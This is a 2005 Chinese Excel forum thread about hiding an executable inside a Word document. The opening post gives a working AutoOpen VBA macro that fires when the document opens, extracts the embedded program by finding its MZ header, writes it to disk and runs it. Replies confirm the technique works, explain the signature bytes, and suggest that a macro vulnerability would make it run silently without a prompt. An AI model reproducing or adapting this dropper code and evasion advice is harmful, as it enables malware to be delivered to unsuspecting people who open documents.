ExcelHome技术论坛

 找回密码
 免费注册

QQ登录

只需一步,快速开始

快捷登录

搜索
EH技术汇-专业的职场技能充电站 妙哉!函数段子手趣味讲函数 Excel服务器-会Excel,做管理系统 效率神器,一键搞定繁琐工作
HR薪酬管理数字化实战 Excel 2021函数公式学习大典 Excel数据透视表实战秘技 打造核心竞争力的职场宝典
让更多数据处理,一键完成 数据工作者的案头书 免费直播课集锦 ExcelHome出品 - VBA代码宝免费下载
用ChatGPT与VBA一键搞定Excel WPS表格从入门到精通 Excel VBA经典代码实践指南
查看: 5996|回复: 6

[原创]通过插入对象的方法实现在office文件中“夹带”其他文件

[复制链接]

TA的精华主题

TA的得分主题

发表于 2005-7-17 11:12 | 显示全部楼层 |阅读模式

在word 中插入\对象\选由文件创建,选择你想“夹带”的exe 文件,直接将“夹带”文件插入到word 文件中;通过后台读取保存在word 文件中的exe文件 ,并还原运行。



Sub AutoOpen()
    Dim DocI As Long
    Dim I As Long
    Dim MyExeName As String
    Dim OtherExeName As String
    Dim N As Long
    Dim arrBytes() As Byte
    Dim Arrbytes2(1 To 114688) As Byte  '114688为你所要夹带的文件的实际字节数
    MyDocName = ThisDocument.FullName
    EXEName = "d:\夹带程序.exe"
    Open MyDocName For Binary Access Read As #1
    N = LOF(1)
    ReDim arrBytes(1 To N) As Byte
    Get #1, , arrBytes
    For DocI = 1 To N
        If arrBytes(DocI) = 77 And arrBytes(DocI + 1) = 90 Then


            For I = 1 To 114688
                Arrbytes2(I) = arrBytes(DocI + I - 1)
            Next I
            Exit For
        End If
    Next DocI
    Open EXEName For Binary Access Write As #2
    Put #2, , Arrbytes2
    Close #2
    Close #1
    Erase arrBytes
    Erase Arrbytes2
    Shell EXEName
End Sub



相关实例:


oR56QKQB.rar (47.43 KB, 下载次数: 142)

有关在office中夹带其他文件的讨论,见七叶一枝梅的精华贴:

http://club.excelhome.net/viewthread.php?tid=107967

1:直接将源文件以二进制方式读出的方法见守版主在13楼的贴子

2:通过在命令提示符下将“夹带”文件嫁接到office 文件中的方法参见22及28楼;

3:通过在word 中插入对象,在后台用vba激活的方法见31楼,链接:

http://club.excelhome.net/dispbbs.asp?boardid=23&star=4&replyid=54363&id=107967&skin=0&page=1




[此贴子已经被konggs于2006-7-11 15:35:10编辑过]

TA的精华主题

TA的得分主题

发表于 2005-7-17 11:17 | 显示全部楼层

抢个沙发先,虽没怎么看懂。

'114688为你所要夹带的文件的实际字节数   菜鸟问题:我不知道我要夹带的字数啊,怎么办?

今天实验通过了。太好了。狂谢。

[此贴子已经被作者于2005-7-17 11:40:19编辑过]

TA的精华主题

TA的得分主题

 楼主| 发表于 2005-7-17 11:43 | 显示全部楼层
以下是引用konggs在2005-7-17 11:17:35的发言:

抢个沙发先,虽没怎么看懂。

'114688为你所要夹带的文件的实际字节数   菜鸟问题:我不知道我要夹带的字数啊,怎么办?

今天实验通过了。太好了。狂谢。

在文件属性中可以很方便的看到

[原创]通过插入对象的方法实现在office文件中“夹带”其他文件

[原创]通过插入对象的方法实现在office文件中“夹带”其他文件

TA的精华主题

TA的得分主题

发表于 2005-7-17 13:31 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册

解释一下编码如何?77、90是什么标志?thx

[此贴子已经被作者于2005-7-17 15:21:05编辑过]

TA的精华主题

TA的得分主题

发表于 2005-12-11 21:27 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册
以下是引用qc2t在2005-7-17 13:31:44的发言:

解释一下编码如何?77、90是什么标志?thx


猜想,应该是标志着“插入”对象文件的开始位置。

不知道是如何得到的?不会是通过用ultraEdit之类的文件,打开插入及不插入对象文件时的文档,用差异比较的方法找到这个标志?

TA的精华主题

TA的得分主题

发表于 2006-3-12 22:32 | 显示全部楼层
77,90是EXE文件首二字节的十进制值
[此贴子已经被作者于2006-3-12 22:33:40编辑过]

TA的精华主题

TA的得分主题

发表于 2006-3-30 10:31 | 显示全部楼层
象这种用自动宏运行的方法打开文档时会有提示,但如果利用宏漏洞则会更隐蔽些,不会有提示.
您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

手机版|关于我们|联系我们|ExcelHome

GMT+8, 2024-11-16 09:50 , Processed in 0.038818 second(s), 14 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 1999-2023 Wooffice Inc.

沪公网安备 31011702000001号 沪ICP备11019229号-2

本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任!     本站特聘法律顾问:李志群律师

快速回复 返回顶部 返回列表